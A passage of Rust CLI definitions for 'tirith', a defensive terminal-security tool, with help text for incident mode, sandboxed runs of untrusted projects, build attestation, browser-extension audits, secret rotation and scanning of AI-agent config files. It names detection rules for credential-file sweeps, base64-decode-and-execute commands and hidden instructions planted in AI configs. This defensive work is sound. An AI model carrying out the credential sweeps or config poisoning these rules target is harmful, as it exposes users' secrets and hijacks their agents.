  tirith secret revoke --provider aws")]
    Secret {
        #[command(subcommand)]
        action: SecretAction,
    },

    /// Incident mode: fail-closed + elevate rules until you stop it (M11 ch5)
    #[command(after_help = "\
Incident mode is a manually-declared 'we may be under attack' posture. While it
is active tirith stops being advisory and turns the screws:

  * the runtime policy is forced FAIL-CLOSED;
  * the TIRITH=0 env bypass is DISABLED (interactive AND non-interactive);
  * a curated set of ALREADY-SHIPPING rules is elevated (credential_file_sweep,
    base64_decode_execute, exec_recently_modified, exec_world_writable).

It adds NO new rule IDs — it only re-weights existing detection.

Subcommands:
  start [--reason \"…\"]   declare an incident (errors if one is already active)
  stop                    end the incident (prompts unless --yes); ALWAYS works
  status                  show active/inactive + reason + started_at
  report [--out <path>]   write a markdown incident report

LOCKOUT SAFETY: `incident stop` is a direct state-file deletion — it is NOT
gated by the incident's own fail-closed policy, so a stuck incident is always
recoverable even with the bypass disabled.

Report privacy: the report embeds only the audit log's already-REDACTED command
text; full commands are never reconstructed.

Examples:
  tirith incident start --reason \"suspicious paste\"
  tirith incident status
  tirith incident report --out incident-2026-05-28.md
  tirith incident stop --yes")]
    Incident {
        #[command(subcommand)]
        action: IncidentAction,
    },

    /// Audit how well YOUR terminal + font tells confusable glyphs apart (M12 ch2)
    #[command(after_help = "\
Renders pairs of visually-confusable glyphs (Latin vs Cyrillic / Greek, fullwidth
forms, math-alphanumeric letters, a zero-width space, a right-to-left override)
and asks whether you can tell each pair apart IN YOUR TERMINAL AND FONT.

The result is INHERENTLY LOCAL: whether two glyphs look identical depends on your
terminal emulator + font + rendering stack, so the recorded answer describes only
THIS machine and is not portable. tirith's homograph / confusable detection fires
regardless of how your terminal renders these — this audit measures the other
half: your own ability to notice an attack visually.

Results are saved to config_dir()/visual-audit-result.json:
  {audited_at, terminal: <$TERM>, pairs_total, distinguishable,
   indistinguishable, skipped, results: [{name, codepoints, verdict}]}

Flags:
  --non-interactive   never prompt (CI-safe); records every pair as skipped, exit 0
  --pairs critical     the high-signal subset (default)
  --pairs all          every pair
  --json               also emit the result as JSON on stdout

Interactive prompting requires a TTY on stdin. A non-TTY run without
--non-interactive prints a note and exits 0 (it does not block on a read).

Examples:
  tirith visual-audit
  tirith visual-audit --pairs all
  tirith visual-audit --non-interactive --pairs critical
  tirith visual-audit --json")]
    VisualAudit {
        /// Skip all prompting (CI-safe); record every selected pair as skipped.
        #[arg(long)]
        non_interactive: bool,
        /// Pair subset: `critical` (default) or `all`.
        #[arg(long)]
        pairs: Option<String>,
        /// Also emit the result as JSON on stdout.
        #[arg(long)]
        json: bool,
    },

    /// Browser companion: native-messaging host + extension manifest install (M12 ch3)
    #[command(after_help = "\
tirith pairs with a companion browser extension (shipped from a SEPARATE repo)
that records where clipboard content was copied from, so the `paste_source_mismatch`
rule can flag a paste whose source host differs from where the command runs.

Subcommands:
  host                native-messaging host. Chrome spawns this; it reads
                      length-prefixed JSON frames on stdin, validates each
                      against the clipboard-source schema, and writes
                      state-dir/clipboard_source.json atomically. Untrusted
                      input: frames are size-capped (256 KiB) and schema-checked
                      before any write. Not meant to be run by hand.
  install-extension   write the per-OS Chrome Native Messaging Host manifest
                      (sh.tirith.browser.json) so the extension can launch the
                      host. Dry-run by default (prints the manifest + path);
                      --apply writes it. Windows uses a registry key — guidance
                      is printed there rather than writing the registry.
  audit               read-only integrity audit of the extensions installed in a
                      Chromium-family profile: sorted-tree digests, declared
                      permissions and execution surfaces, install class,
                      provenance, and drift against a baseline receipt. Reads the
                      extension source trees and three install-class fields from
                      Preferences; never cookies, history, passwords, wallet
                      storage, or Local State.

Because the extension is not yet published its Chrome id is unknown; pass
--extension-id <id> or a clearly-marked placeholder is used.

Examples:
  tirith browser install-extension
  tirith browser install-extension --apply
  tirith browser install-extension --extension-id abcdefghijklmnopabcdefghijklmnop --apply
  tirith browser install-extension --json
  tirith browser audit --browser all
  tirith browser audit --baseline ./browser-baseline.json --format json")]
    Browser {
        #[command(subcommand)]
        action: BrowserAction,
    },
}

#[derive(Subcommand)]
enum TaskAction {
    /// Assess a bounded task envelope from a file or stdin.
    Check {
        /// Envelope JSON file. Reads stdin when omitted.
        #[arg(long)]
        file: Option<std::path::PathBuf>,

        /// Which Tirith-owned ingress adapter obtained the content. This is an
        /// OPERATOR assertion; the envelope can never claim it for itself.
        #[arg(long)]
        adapter: Option<String>,

        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum AttestAction {
    /// Bind a source tree and an output tree into one point-in-time receipt.
    #[command(after_help = "\
What it binds:
  A deterministic sha256 over each tree (sorted relative paths, mode, size, and
  file bytes), the HEAD commit and dirty state when the source is a repository,
  the lockfile digests, the policy projection hash, a digest of the REDACTED
  argv, the per-file output manifest, and the identity of the one external tool
  tirith itself ran.

What it refuses:
  A symlink anywhere in either tree, a non-regular entry, a non-UTF-8 path, two
  paths that collide under case folding or Unicode normalization, a file that
  was rebound, grew, or was truncated while it was being hashed, and anything
  past 100,000 entries, 2 GiB, or 256 directories deep. Every refusal is a
  refusal, never a silently skipped entry.

Removed from the SOURCE digest, explicitly and on the record:
  .git at every depth (every path it pruned is listed in the receipt and folded
  into the digest), the --output root when it is nested under --source, and the
  --out receipt destination, so a receipt can never hash itself into existence.

Removed from the OUTPUT digest:
  only the --out receipt destination when it lands inside --output. Nothing is
  pruned by name there: a directory called .git under build output is shipped
  content, and dropping it would leave bytes inside a tree the receipt calls
  bound.

--execution-receipt:
  Links a `tirith capsule run` receipt. The link is labelled verified ONLY when
  that receipt's SIGNATURE verifies against this installation's audit key, it is
  self-consistent, it records a fully contained run whose child reached exit 0,
  and its input tree digest is THIS source tree. It says nothing about --output:
  a capsule builds inside an ephemeral copy that is deleted before the run ends,
  so the bytes it produced are not on this disk. Anything else is recorded as an
  observation with the reasons named, and the receipt is partial.

Exit codes:
  0  clean     both trees were bound in full
  1  mismatch  the assembled receipt failed its own integrity rules
  2  usage     a bad --source, --output, --execution-receipt, or --out
  3  partial   a tree could not be bound in full (a cap, a symlink, a race), or
               a linked execution receipt did not prove a contained run

Examples:
  tirith attest build --source . --output dist
  tirith attest build --source . --output dist --out build.receipt.json
  tirith attest build --source . --output dist --execution-receipt capsule.receipt.json
  tirith attest build --source . --output dist --format json")]
    Build {
        /// The source tree to bind.
        #[arg(long, default_value = ".")]
        source: std::path::PathBuf,
        /// The build output tree to bind.
        #[arg(long)]
        output: std::path::PathBuf,
        /// A `tirith capsule run` receipt to link this build to.
        #[arg(long)]
        execution_receipt: Option<std::path::PathBuf>,
        /// Also write the receipt to this path (atomic, mode 0600).
        #[arg(long)]
        out: Option<std::path::PathBuf>,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Re-hash both trees and compare them with a build receipt.
    #[command(after_help = "\
What it does:
  Checks the receipt's SIGNATURE against this installation's audit key, then
  re-scans --source and --output under the caps, exclusion set, and permission
  model the receipt itself records and compares the two digests. It proves the
  trees are unchanged since the receipt was taken; it proves nothing about where
  either tree came from.

  The signature is the load-bearing check. receipt_id and both tree digests are
  keyless sha256s that anyone who can write the file can recompute, so on an
  installation that signs, an unsigned or non-verifying receipt is a mismatch
  rather than a warning. Both exclusion sets and both covered file counts are
  printed on every answer, so an exclusion set wide enough to swallow a tree is
  visible instead of hiding behind the word clean.

Exit codes:
  0  clean     both trees still hash to what the receipt bound
  1  mismatch  a tree changed, the receipt failed its own integrity rules
               (including a stripped signature, which the content address binds),
               or its signature does not verify
  2  usage     the file is not a build receipt, or a bad --source / --output
  3  partial   a tree could not be re-scanned, the receipt was itself partial, or
               it is signed and no verifying key is installed to check it

Examples:
  tirith attest verify-build build.receipt.json --source . --output dist
  tirith attest verify-build build.receipt.json --source . --output dist --format json")]
    VerifyBuild {
        /// The build receipt to verify against.
        #[arg(value_name = "RECEIPT")]
        receipt: std::path::PathBuf,
        /// The source tree to re-hash.
        #[arg(long, default_value = ".")]
        source: std::path::PathBuf,
        /// The output tree to re-hash.
        #[arg(long)]
        output: std::path::PathBuf,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Fetch manifest-listed routes from one https origin and bind the bytes.
    #[command(after_help = "\
What it does:
  Verifies the build receipt FIRST (a receipt that fails its own integrity rules
  or whose signature this installation rejects produces a mismatch and ZERO
  requests), then fetches only the routes the build's output manifest names, from
  ONE origin, through tirith's connect-time DNS guard. It sends
  Accept-Encoding: identity and hashes the exact returned body bytes.

Route mapping:
  By default index.html serves its containing directory and every other file
  serves its exact relative path. A --route-map JSON file
  ({\"routes\": {\"index.html\": \"/\", \"app.js\": \"/static/app.js\"}}) replaces
  that convention with your own; every key must name a file in the build
  receipt's output manifest, and every value must be an absolute same-origin
  path.

  BOTH mappings go through the same gate, the default one included: it is
  derived from filenames in a build tree nothing character-checked, and a file
  named so that its route resolves to another authority would otherwise send the
  request there. Every resolved URL is re-checked against the base origin before
  the request leaves, and a route that resolves elsewhere is a mismatch that
  reaches no network.

Bounds:
  8 concurrent fetches, 5 redirect hops, 32 MiB per response, 2 GiB in total,
  30 second request and 10 second connect budgets.

What this receipt proves:
  ONLY that the routes it lists returned these bytes at the timestamp it
  records. It is not continuous monitoring, it says nothing about routes it did
  not fetch, and it is not proof that the deployed site is the build. CSP and
  trusted-types headers are recorded as observations, never as byte proof.

Exit codes:
  0  clean     every built file was fetched and served exactly the built bytes
  1  mismatch  a route served different bytes, did not serve the file at all,
               redirected or resolved off the origin, resolved to a private or
               loopback address, or the build receipt failed verification
  2  usage     the file is not a build receipt, or the route map is invalid
  3  partial   a route was unreachable, authenticated, challenged, transformed
               in transit, or over a cap; the build receipt was itself partial;
               or built files were never fetched

Examples:
  tirith attest deployment --build-receipt build.receipt.json --base-url https://app.example
  tirith attest deployment --build-receipt build.receipt.json --base-url https://app.example --route-map routes.json
  tirith attest deployment --build-receipt build.receipt.json --base-url https://app.example --out deployment.receipt.json")]
    Deployment {
        /// The build receipt whose output manifest names what to fetch.
        #[arg(long)]
        build_receipt: std::path::PathBuf,
        /// The single https origin to fetch from.
        #[arg(long)]
        base_url: String,
        /// JSON file mapping built files to URL paths.
        #[arg(long)]
        route_map: Option<std::path::PathBuf>,
        /// Also write the receipt to this path (atomic, mode 0600).
        #[arg(long)]
        out: Option<std::path::PathBuf>,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Re-check a deployment receipt document. Makes no network request.
    #[command(after_help = "\
What it does:
  Checks the receipt's SIGNATURE against this installation's audit key,
  re-computes the content address, re-counts the route ledger, and reports what
  the receipt did not cover, what origin it is about, and when it was measured.

  It deliberately does NOT re-fetch. A second measurement presented as
  verification of the first would be exactly the continuous-monitoring claim
  this command refuses to make. To measure the site again, run
  `tirith attest deployment` again and compare the two receipts.

Exit codes:
  0  clean     the document stands up and every recorded route matched
  1  mismatch  the document failed its integrity rules, its signature does not
               verify, or a route mismatched
  2  usage     the file is not a deployment receipt
  3  partial   a route was unmeasured, built files were never fetched, the build
               receipt behind it was partial, or the signature cannot be checked

Examples:
  tirith attest verify-deployment deployment.receipt.json
  tirith attest verify-deployment deployment.receipt.json --format json")]
    VerifyDeployment {
        /// The deployment receipt to re-check.
        #[arg(value_name = "RECEIPT")]
        receipt: std::path::PathBuf,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

/// Honesty block for `tirith capsule run`. The wording here is the SAME
/// contract the command's refusal message, the JSON envelope, and
/// `docs/capsule.md` carry.
const CAPSULE_RUN_AFTER_HELP: &str = "\
FAIL-CLOSED CONTAINMENT. NO DEGRADED FALLBACK.
  This is the recruiter-task preset: you were sent a repository and asked to
  run it. The project is COPIED into a held ephemeral directory and the command
  runs there, with write access to the copy and a private temporary HOME and
  nothing else.

PLATFORM LIMIT (not a bug, a refusal):
  Enforceable only on x86_64 Linux with a usable Landlock ABI. Raw-network
  denial needs seccomp, which this build supports on x86_64 Linux only; macOS
  cannot enforce a memory or process-count ceiling at all; and the parent-owned
  wall-clock and combined-output supervisor is Linux-only. Every other host
  REFUSES before anything is copied or spawned, naming the exact control it
  could not deliver. It never falls back to a degraded or uncontained run.

WHAT THE PRESET DOES:
  - copies the project with symlink-safe, same-inode traversal, REFUSING (never
    silently skipping) symlinks, hardlinks, cross-filesystem entries, path
    escapes, case/Unicode collisions, and non-regular files; excludes .git;
    caps at 100,000 files, 200,000 entries, 256 levels, and 2 GiB
  - denies all network. Domain allow-listing is NOT offered: no backend here
    can enforce it, so claiming it would be a lie. Dependencies must be
    vendored or preinstalled by a separate trusted transaction
  - denies credential stores, wallet roots, browser profiles, and inherited
    secret environment; the child gets a fixed PATH and a temporary HOME
  - applies CPU 120s, wall 300s, memory 2 GiB, 256 processes, 256 open files,
    and 16 MiB combined output, tightened further by any task_gate policy

RECEIPT:
  Every invocation writes one signed, content-addressed receipt, including a
  refusal. It records the argv DIGEST (never the argv), the project input and
  output tree digests, the backend, requested versus achieved coverage, the
  effective limits, the child's exit status SEPARATELY from Tirith's decision,
  the termination reason, a bounded file diff, whether a copy was materialized
  at all, and cleanup confirmation for the copy, the process tree, and the
  temporary HOME. Host paths are redacted from the recorded reason. A run that
  was not fully contained is recorded as `partial` or `refused`, never as a
  contained result.

EXIT CODES:
  0 contained and the child exited 0; 1 a Tirith decision (refused before
  launch, terminated after it, or a run whose receipt could not be recorded or
  could not be anchored in the audit chain);
  2 usage or input error; 3 contained but the child itself exited non-zero.

Examples:
  tirith capsule run --preset untrusted-project --project . -- npm test
  tirith capsule run --preset untrusted-project --project ./take-home \\
    --receipt ./run.json -- ./scripts/build.sh";

#[derive(Subcommand)]
enum CapsuleAction {
    /// Copy an untrusted project into a held ephemeral directory and run an
    /// exact argv inside a fail-closed capsule
    #[command(after_help = CAPSULE_RUN_AFTER_HELP)]
    Run {
        /// Containment preset. The only value is `untrusted-project`.
        #[arg(long, default_value = cli::capsule_run::PRESET_UNTRUSTED_PROJECT)]
        preset: String,

        /// Project directory to copy and run. Never written to itself.
        #[arg(long, default_value = ".")]
        project: PathBuf,

        /// Write the run receipt to this path (0600). A content-addressed copy
        /// is stored under the tirith data directory regardless.
        #[arg(long)]
        receipt: Option<PathBuf>,

        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,

        /// The exact argv to run inside the capsule, after `--`. Never joined
        /// or reparsed by a shell.
        #[arg(last = true, required = true)]
        argv: Vec<std::ffi::OsString>,
    },
}

#[derive(Subcommand)]
enum DashboardAction {
    /// Write the HTML security report to a file
    #[command(after_help = "\
Default output is <documents-dir>/tirith-dashboard-<date>.html (<documents-dir> is
your Documents folder, resolved per-OS). `--out .` writes ./dashboard.html;
`--out <dir>` writes <dir>/dashboard.html; any other `--out` value is the exact
file path. On Unix the file is created 0600. `--json` prints a small
machine-readable result (path written, byte count, and the snapshot).

Examples:
  tirith dashboard export
  tirith dashboard export --out .
  tirith dashboard export --out /tmp/sec.html
  tirith dashboard export --json")]
    Export {
        /// Output path. Omit for <documents-dir>/tirith-dashboard-<date>.html
        /// (your Documents folder, resolved per-OS); `.` or a directory writes
        /// dashboard.html there; else the exact file.
        #[arg(long)]
        out: Option<String>,
        /// Emit a machine-readable result (path, bytes, snapshot) as JSON.
        #[arg(long)]
        json: bool,
    },

    /// Serve the report on a loopback-only HTTP server with an ephemeral token
    #[command(after_help = "\
Binds 127.0.0.1 ONLY (never 0.0.0.0). With no --port an OS ephemeral port is
chosen and read back. Prints http://127.0.0.1:<port>/?token=<token>; the token is
random, in-memory only (never written to disk), and expires after 1 hour.

A request whose Host header is not a loopback host is refused 403 (DNS-rebinding
guard); a missing, wrong, or expired token gets 401. Serves until Ctrl-C.

Examples:
  tirith dashboard serve
  tirith dashboard serve --port 8765
  tirith dashboard serve --json")]
    Serve {
        /// TCP port to bind on 127.0.0.1. Omit for an OS-assigned ephemeral port.
        #[arg(long)]
        port: Option<u16>,
        /// Emit the loopback URL + token as JSON instead of human text.
        #[arg(long)]
        json: bool,
    },
}

#[derive(Subcommand)]
enum BrowserAction {
    /// Run the Chrome native-messaging host (spawned by the extension, not by hand)
    ///
    /// Hidden from the top-level `--help` listing — Chrome's native-messaging
    /// layer invokes this with stdin/stdout wired to the extension. It reads
    /// 4-byte-length-prefixed UTF-8 JSON frames, validates each against the
    /// clipboard-source schema, and writes `state-dir/clipboard_source.json`
    /// atomically. Incoming frames are capped at 256 KiB.
    #[command(hide = true)]
    Host,

    /// Write the per-OS Chrome Native Messaging Host manifest (dry-run unless --apply)
    #[command(
        name = "install-extension",
        after_help = "\
Writes the Chrome Native Messaging Host manifest (sh.tirith.browser.json) that
lets the companion extension launch `tirith browser host`. Without --apply the
manifest + target path are printed (dry-run). With --apply the manifest is
written to the per-OS NativeMessagingHosts directory (the targeted path is
always printed). --browser selects the Chromium-family browser:
  chrome (default): macOS ~/Library/Application Support/Google/Chrome/...
                    Linux ~/.config/google-chrome/...
  chromium:         .../Chromium/...        Linux ~/.config/chromium/...
  brave:            .../BraveSoftware/Brave-Browser/...
  edge:             .../Microsoft Edge/...  Linux ~/.config/microsoft-edge/...
  Windows: registry-based — guidance is printed, the registry is NOT modified.

The extension id authorizes which extension may connect; pass --extension-id
<id> (a real id is 32 letters a–p) or a clearly-marked placeholder is used. A
malformed id is rejected. The write is idempotent.

Examples:
  tirith browser install-extension
  tirith browser install-extension --apply
  tirith browser install-extension --browser brave --apply
  tirith browser install-extension --extension-id abcdefghijklmnopabcdefghijklmnop --apply
  tirith browser install-extension --json"
    )]
    InstallExtension {
        /// Chrome extension id allowed to connect (32 letters a–p). Defaults to
        /// a documented placeholder when omitted. A malformed id is rejected.
        #[arg(long)]
        extension_id: Option<String>,
        /// Which Chromium-family browser's NativeMessagingHosts directory to
        /// target: chrome (default), chromium, brave, or edge.
        #[arg(long, default_value = "chrome")]
        browser: String,
        /// Actually write the manifest (creating the directory). Without this
        /// flag the manifest is printed for inspection.
        #[arg(long)]
        apply: bool,
        /// Emit a JSON envelope instead of human text.
        #[arg(long)]
        json: bool,
    },

    /// Read-only integrity audit of the installed Chromium-family extensions
    #[command(after_help = "\
Hashes the extension SOURCE trees a Chromium-family browser has installed and
reports what each one declares, then compares that against a baseline receipt.
Explicit, one-shot, read-only: it never removes, quarantines, or watches
anything.

WHAT IT READS:
  <user-data>/<profile>/Extensions/<id>/<version>/**   every file, for the digest
  <profile>/Preferences and Secure Preferences         THREE fields per extension
                                                       id (location, from_webstore,
                                                       was_installed_by_default),
                                                       which is where the browser
                                                       records install class

WHAT IT NEVER READS:
  cookies, history, saved passwords, Local Storage, IndexedDB, Local/Sync
  Extension Settings, wallet databases, seed material, or Preferences as a
  document. It also never reads <user-data>/Local State, because that file holds
  the human profile names alongside the signed-in account email. Profile
  identity here is the profile DIRECTORY NAME and nothing else.

WHAT IT REPORTS:
  browser and profile identity, extension id, version, install class, a
  deterministic sorted-tree digest, manifest version, permissions and host
  scopes, execution surfaces, provenance class, coverage, and (against a
  baseline) new / removed / version change / version directory REUSED (a
  declared version that moved while its directory did not, which no real browser
  update produces) / version-directory set change / same-version BYTE change /
  permission, host, and OPTIONAL permission and host expansion /
  manifest-version change / execution-surface change / provenance change.

  Permission RISK and integrity DRIFT are reported separately and never folded
  together. A wallet extension legitimately holding broad permissions is not the
  same event as one whose bytes changed without its version changing. Wallet
  extension ids are labels, never trust anchors, and enterprise or developer
  installs are classified, not condemned.

COVERAGE:
  Any symlink, name collision, unreadable or locked directory, hard link,
  oversize file, or exhausted budget makes the result `partial`. A partial digest
  is never emitted as if it were complete, and it is never compared against a
  baseline as if it were: an extension whose tree could not be fully hashed, or
  whose own directory could not be fully enumerated, is reported as
  `integrity_not_comparable` rather than as tamper or as clean.

BASELINE TRUST:
  A baseline's `receipt_id` and `inventory_hash` are hashes the document computes
  over ITSELF, so anyone who can edit the file can recompute them. They prove the
  document is internally consistent and nothing more. When this installation has
  an audit key, `--baseline` therefore REQUIRES an ed25519 signature that
  verifies against it: a signature that does not verify, and a signature that was
  stripped, are both usage errors rather than a clean comparison.

EXIT CODES:
  0 audited with no drift; 1 drift against the supplied baseline, including an
  extension that could not be compared and any `--baseline` run whose coverage
  was partial (a verify run that could not verify never reports no drift);
  2 usage error, unreadable / unverifiable baseline, failed baseline write, or a
  broken JSON write with no drift.

Examples:
  tirith browser audit
  tirith browser audit --browser all
  tirith browser audit --browser brave --write-baseline ./browser-baseline.json
  tirith browser audit --baseline ./browser-baseline.json --format json")]
    Audit {
        /// Which browser to audit: chrome (default), chromium, brave, edge, or
        /// all. Firefox and XPI are out of scope and are refused by name.
        #[arg(long, default_value = "chrome")]
        browser: String,

        /// Audit exactly this profile directory instead of discovering profiles
        /// under the browser's user-data directory. Not combinable with
        /// `--browser all`.
        #[arg(long)]
        profile: Option<PathBuf>,

        /// Compare against this baseline receipt and report drift.
        #[arg(long)]
        baseline: Option<PathBuf>,

        /// Write the current inventory as a content-addressed baseline receipt
        /// at this path (0600), ed25519-signed when the audit chain has a key.
        #[arg(long)]
        write_baseline: Option<PathBuf>,

        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum IncidentAction {
    /// Declare an incident: flip fail-closed and disable the TIRITH=0 bypass
    #[command(after_help = "\
Declares an incident by writing a flag file at state_dir()/incident_active.json.
While active, the runtime policy is forced fail-closed, the TIRITH=0 bypass is
disabled (both interactivity modes), and a curated set of existing rules is
elevated. A second `start` while one is already active fails (exit 1) with
'already active since X' — it never overwrites the original reason/start time.

Examples:
  tirith incident start
  tirith incident start --reason \"suspicious paste from teammate\"
  tirith incident start --json")]
    Start {
        /// Free-text reason recorded in the flag file (stored verbatim).
        #[arg(long)]
        reason: Option<String>,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// End the active incident and restore the normal policy (ALWAYS works)
    #[command(after_help = "\
Ends the incident by deleting the flag file and restoring the normal policy.
Prompts for confirmation unless --yes is passed. Logs the stop to the audit log.

LOCKOUT SAFETY: this is a plain filesystem deletion with NO `check` and NO
policy gating, so it always succeeds even when the incident has the policy
fail-closed and the bypass disabled.

Examples:
  tirith incident stop
  tirith incident stop --yes")]
    Stop {
        /// Skip the confirmation prompt.
        #[arg(long)]
        yes: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Show whether an incident is active, plus its reason + start time
    #[command(after_help = "\
Examples:
  tirith incident status
  tirith incident status --json")]
    Status {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Write a markdown incident report (timeline, state, top findings)
    #[command(after_help = "\
Writes a markdown report covering: the audit timeline since the incident
started, the top recent findings, the current persistence / env / PATH / hook /
canary state, and an 'Actions taken' checklist for you to fill in. Embedded
command text comes only from the audit log's already-REDACTED field — full
commands are never reconstructed. With no --out the report prints to stdout.

Examples:
  tirith incident report
  tirith incident report --out incident-2026-05-28.md")]
    Report {
        /// Write the report to this path instead of stdout (0600 on Unix).
        #[arg(long)]
        out: Option<std::path::PathBuf>,
        /// Output format for the status line (default: human; report body is
        /// always markdown).
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum SecretAction {
    /// Scan recent audit findings and print a rotation next-step per leak
    #[command(after_help = "\
Reads RECENT credential-type findings from the local audit log and prints a
one-line rotation next-step for each, attributing the leak to a provider where
the shape is recognizable. ZERO network calls. tirith does NOT perform rotation
or revocation — it points you at the right revocation page; YOU rotate.

Only the engine's already-REDACTED command text is read; raw secret values are
never seen. Exit code 0 whether or not findings exist (1 only if the audit log
cannot be read).

Examples:
  tirith secret triage
  tirith secret triage --verbose
  tirith secret triage --json")]
    Triage {
        /// Show extra detail per finding (redacted text, docs URL, verified date).
        #[arg(long)]
        verbose: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Show a provider's revocation URL, docs, and manual rotation checklist
    #[command(after_help = "\
Prints where to revoke/regenerate the credential, the provider's docs, and the
step-by-step checklist YOU perform. ZERO network calls — the URLs are inert
strings. tirith does NOT perform rotation or revocation; YOU do.

<provider> is one of: aws, github, npm, pypi, cargo, stripe, slack, openai,
anthropic, gcp, azure. An unknown provider errors with the valid list.

--verbose additionally shows the guidance's last_verified date and the
triage shapes used to attribute leaks to this provider.

Examples:
  tirith secret rotate github
  tirith secret rotate aws --verbose
  tirith secret rotate stripe --json")]
    Rotate {
        /// The provider to rotate (aws, github, npm, pypi, cargo, stripe,
        /// slack, openai, anthropic, gcp, azure).
        provider: String,
        /// Show the guidance's last_verified date and triage shapes.
        #[arg(long)]
        verbose: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Lead with a provider's revocation URL, then the checklist
    #[command(after_help = "\
Like `rotate`, but leads with the revocation URL prominently. ZERO network
calls. tirith does NOT perform rotation or revocation — it shows you the page;
YOU revoke.

--provider is one of: aws, github, npm, pypi, cargo, stripe, slack, openai,
anthropic, gcp, azure. An unknown provider errors with the valid list.

Examples:
  tirith secret revoke --provider aws
  tirith secret revoke --provider github --json")]
    Revoke {
        /// The provider to revoke (aws, github, npm, pypi, cargo, stripe,
        /// slack, openai, anthropic, gcp, azure).
        #[arg(long)]
        provider: String,
        /// Show the guidance's last_verified date.
        #[arg(long)]
        verbose: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum AiAction {
    /// Run the `ai-agent-repo` scan profile over the repo's AI-config files
    #[command(after_help = "\
Runs the AI-config subset of the shipping scan engine — the `ai-agent-repo`
built-in profile — over the current repository's AI-config files. This is a thin
wrapper over `tirith scan --profile ai-agent-repo`; no new detection is added.
Exit code follows the profile's `fail_on` (high).

Examples:
  tirith ai scan
  tirith ai scan --json")]
    Scan {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Diff the repo's AI-config files against the last-known-safe snapshot
    #[command(after_help = "\
Compares each current AI-config file to the snapshot recorded at
<state-dir>/ai_config_snapshot.json and reports added / removed instruction
lines plus any AI-config drift findings (ai_config_hidden_instruction_added,
ai_config_tool_use_escalation). Both sides are NORMALIZED before diffing, so a
pure Markdown reformat is not reported as drift. If no snapshot exists, says so
and suggests `tirith ai snapshot --update`. Exits 1 when a drift rule fired.

Examples:
  tirith ai diff
  tirith ai diff --json")]
    Diff {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Isolate a suspected-poisoned AI-config file (COPY by default)
    #[command(after_help = "\
v1 DEFAULT IS COPY: the file is COPIED to
<cache-dir>/tirith/quarantine/<timestamp>-<sha256>-<basename> and the ORIGINAL IS
LEFT UNTOUCHED; the restore command is printed. Pass --move to opt into the
destructive variant (copy, then DELETE the original) — which prompts for
confirmation unless --yes, and refuses non-interactively without --yes.

Examples:
  tirith ai quarantine .cursorrules
  tirith ai quarantine CLAUDE.md --json
  tirith ai quarantine .cursorrules --move --yes")]
    Quarantine {
        /// Path to the AI-config file to quarantine.
        file: String,
        /// Opt into the DESTRUCTIVE variant: copy, then remove the original.
        /// Prompts for confirmation unless --yes; refuses non-interactively
        /// without --yes. Without this flag the original is left untouched.
        #[arg(long = "move")]
        r#move: bool,
        /// Confirm the destructive --move without an interactive prompt.
        /// Meaningless without --move, so clap requires it.
        // Internal: M13 PR #132 finding O (kept out of `--help`).
        #[arg(long, requires = "move")]
        yes: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Explain which AI tool a config file configures and what it grants
    #[command(after_help = "\
Identifies which AI tool a config file configures (CLAUDE.md → Claude,
.cursorrules / .cursor/rules → Cursor, AGENTS.md → generic, .mcp.json → MCP) and
prints the capabilities / risks its CONTENT grants — hidden instructions,
tool-use / network / file-write directives, MCP server-launch surface. Reuses
the shipping aifile detection for the risk signals.

Examples:
  tirith ai explain-config CLAUDE.md
  tirith ai explain-config .mcp.json --json")]
